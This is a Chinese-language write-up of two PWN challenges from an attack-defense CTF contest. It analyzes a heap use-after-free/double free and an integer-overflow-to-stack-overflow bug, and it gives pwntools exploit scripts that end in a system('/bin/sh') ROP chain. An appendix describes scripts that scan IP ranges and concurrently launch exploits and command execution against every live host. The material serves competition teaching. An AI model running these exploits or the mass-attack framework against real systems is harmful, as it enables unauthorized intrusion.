AWD古剑山线下PWN全解
字数 3173
更新时间 2026-04-22 12:50:36
古剑山AWD线下赛PWN题全解析教学文档
概述
本文档解析“古剑山AWD线下赛”中的两道PWN题目,涵盖漏洞分析、利用思路、利用脚本(EXP)及自动化攻防脚本,旨在提供全面的攻击利用教学。
第一题:heap
题目环境:glibc 2.23,无edit功能。
1. 漏洞点分析
- UAF漏洞:位于
delete函数中。- 程序限制索引在
0x13以内。 - 漏洞核心在于while循环的覆写操作。例如,删除
index = 7,index = 8处的指针会移动到index = 7,但index = 8处的指针未被清零,形成悬垂指针,导致Double Free。 - 由于while循环,
index = 8之后的位置会被后续操作清零,唯一可避免覆写的是边界位置0x13。此处是漏洞利用的关键。
- 程序限制索引在
2. 利用思路
- 泄露libc地址:需要填满fastbin并通过调试获取堆布局。注意
\x00截断问题,可利用堆地址泄露libc。通过申请got表来泄露libc地址,因为size难以直接修改,且Double Free后无法再次申请相同大小的chunk。 - 利用Double Free修改指针:题目无edit功能,无法直接修改指针。需利用Double Free,通过申请特定chunk来修改指针。需要调整chunk的申请顺序,进行一定堆布局的叠加。
- 泄露栈地址:在成功泄露libc后,可利用剩余的多重指针(如代码中提到的
index 6和index 8指向同一堆块)再次触发Double Free,从而泄露栈地址。 - 获取shell:
- 拥有任意地址泄露能力后,可以选择攻击
malloc_hook或system。攻击system更稳定。 - 通过再次触发Double Free,申请返回地址附近的chunk。找到一个合适size(如
0x40)的chunk,通过偏移计算(如+1跳过低位字节,保留高位的0x40字节)将其申请出来,完成利用。
- 拥有任意地址泄露能力后,可以选择攻击
3. 利用脚本(EXP)核心步骤
from pwn import *
context.terminal = ["tmux", "splitw", "-l 100"]
context.arch = "amd64"
context.binary = elf = ELF("./heap")
libc = ELF("./libc.so.6")
context.log_level = "debug"
def start():
return process("./heap")
io = start()
# 定义交互函数
sl = lambda x: io.sendline(x)
sla = lambda a, b: io.sendlineafter(a, b)
rt = lambda a: io.recvuntil(a)
def cmd(choice):
sla(b"Choice:\n", str(choice).encode())
def add(size, content):
cmd(1)
sla(b"Name Size:", str(size).encode())
sla(b"Name:", content)
def show(idx):
cmd(2)
sla(b"The id you want to show:", str(idx).encode())
io.recvuntil(b"The name is:")
# ... 接收并处理泄露的数据 ...
# 后续利用步骤(堆布局、泄露、修改等)在此函数中实现
# 注意:文档中提供的exp代码不完整,实际利用需根据上述思路补全堆布局、泄露、写ROP链等操作。
第二题:King
目标:调用others()函数,最终触发rename()函数中的栈溢出。
1. 关键函数与漏洞
others(): 需满足sign == 0才能调用rename()。rename(): 调用input_name(),存在栈溢出漏洞。input_name(): 核心漏洞函数。snprintf写入s数组的长度为0xA0,但其返回值nbytes是预期写入的字符数(可能大于0xA0)。- 后续
read(0, s, (unsigned int)nbytes);使用nbytes作为读取长度,导致栈溢出。 - 同时,
printf("%s", s);可造成信息泄露(但意义不大)。
2. 将sign置零的两种方法
sign初始值为5。
- 攻击路径1:在
attack2()中击败Enemy五次。每次击败进入sub_400DD1,失败进入sub_400D55。 - 攻击路径2:利用
gift()或gift2()函数。gift2(): 检查(abs32(money) & 0x80000000) == 0,即money为负数时,将sign置零。gift(): 当money > n92_1(一个特定值)时,将sign置零并扣除n92_1的金钱。
高效方法:利用int类型溢出快速增加money。
- 在购买HP药水的函数中,存在计算:
money -= 80 * v2;,其中v2为用户输入的数量。 - 输入一个极大的
v2,使得80 * v2溢出变为一个负数,从而导致money大幅增加(负负得正)。这比正常打怪刷钱更快,更适合AWD赛制。
3. 利用步骤
- 刷钱与升级:利用上述整数溢出漏洞快速增加金钱,并调用
gift()或gift2将sign置零。 - 触发溢出:
sign置零后,调用others()->rename()->input_name()。 - 泄露与ROP:
- 第一次溢出:泄露
puts的GOT表地址,计算libc基址。 - 第二次溢出:构造ROP链,调用
system(‘/bin/sh‘)获取shell。
- 第一次溢出:泄露
4. 利用脚本(EXP)核心框架
from pwn import *
elf = ELF('./king')
libc = ELF('./libc.so.6') # 需提供对应libc
# ... 定义常用函数 ...
def get_money():
# 利用整数溢出刷钱的交互流程
# 调用购买函数,输入大整数触发溢出
pass
def get_auth():
# 调用gift函数将sign置零
pass
# 主流程
# 1. 循环刷钱和升级
for i in range(100):
get_money()
# 升级操作...
# 2. 获取权限(sign=0)
get_auth()
# 3. 第一次交互:泄露libc地址
rt("What's your name?")
s(b'a'*0x80) # 填充buf_
# 构造溢出payload,覆盖返回地址,泄露puts地址
pd = b'a'*0xb8 + p64(pop_rdi_ret) + p64(elf.got['puts']) + p64(elf.plt['puts']) + p64(main_addr)
sl(pd)
# 接收泄露的地址,计算libc基址
libc_base = u64(io.recv(6).ljust(8, b'\x00')) - libc.sym['puts']
# 4. 第二次交互:getshell
rt("What's your name?")
s(b'a'*0x80)
# 构造ROP链:system("/bin/sh")
pd = b'a'*0xb8 + p64(ret_addr) + p64(pop_rdi_ret) + p64(libc_base + next(libc.search(b'/bin/sh'))) + p64(libc_base + libc.sym['system'])
sl(pd)
io.interactive()
附录:AWD自动化脚本
在AWD(攻防对抗)赛中,自动化扫描、攻击和修补至关重要。文档提供了完整的脚本框架。
1. 脚本架构
scan_and_attack.py: 主控脚本,读取存活目标列表,并发调用EXP进行攻击。scan_targets.py: 扫描脚本,从IP范围或列表中探测存活主机及端口,并识别特定服务。snake_login.py: 包含通用网络连接、数据收发、密码爆破和命令执行的函数。exp_runner.py: 动态加载和执行EXP脚本的模块,支持将本地pwn.process调用重定向到远程pwn.remote。
2. 核心模块功能说明
exp_runner.py (EXP执行器)
- 动态加载:通过
importlib动态加载exp.py文件,避免重复导入冲突。 - 远程重定向:在加载EXP模块时,临时将
pwn.process替换为pwn.remote,使为本地测试编写的EXP能无缝用于攻击远程目标。 - 统一接口:尝试调用EXP模块中的
exp()函数,并智能传递参数(host, port)或(host, port)元组。
scan_and_attack.py (主攻击脚本)
- 从
scan_targets.py生成的存活目标文件live.txt中读取目标。 - 使用
ThreadPoolExecutor并发地对每个目标执行攻击。 - 将攻击结果保存到
result.txt。
scan_targets.py (目标扫描脚本)
- 支持多种目标格式输入(
source.txt):192.168.1.1-192.168.1.100192.168.1.0/24192.168.1.1:9999
- 并发探测目标端口是否开放,并可匹配特定banner关键词。
- 将存活目标列表写入
live.txt。
snake_login.py (通用登录与命令执行)
- 提供
socket层的基础通信函数(connect,recv_until,send_line等)。 - 示例函数
leak_password和run_cmd展示了如何利用特定漏洞(如密码泄露)和后续命令执行。
3. 使用流程
- 在
source.txt中定义目标(IP段或具体IP:PORT)。 - 运行
python scan_targets.py,生成存活目标列表live.txt。 - 编写
exp.py,确保包含exp(host, port)或类似签名的攻击函数。 - 运行
python scan_and_attack.py,开始自动攻击所有存活目标。
4. 自动Patch脚本
文档末尾提供了一个Bash脚本(autopatch.sh),用于在本地环境中为给定的二进制文件(binary)和libc(libc.so.6)自动匹配合适的加载器(ld)并修补ELF文件。
- 从指定的
glibc池目录中,根据二进制文件的架构和libc版本,选择最匹配的ld。 - 使用
patchelf修改二进制文件的解释器(interpreter)和动态库依赖。 - 将必要的库文件复制到二进制文件所在目录,确保其可独立运行。
相似文章
相似文章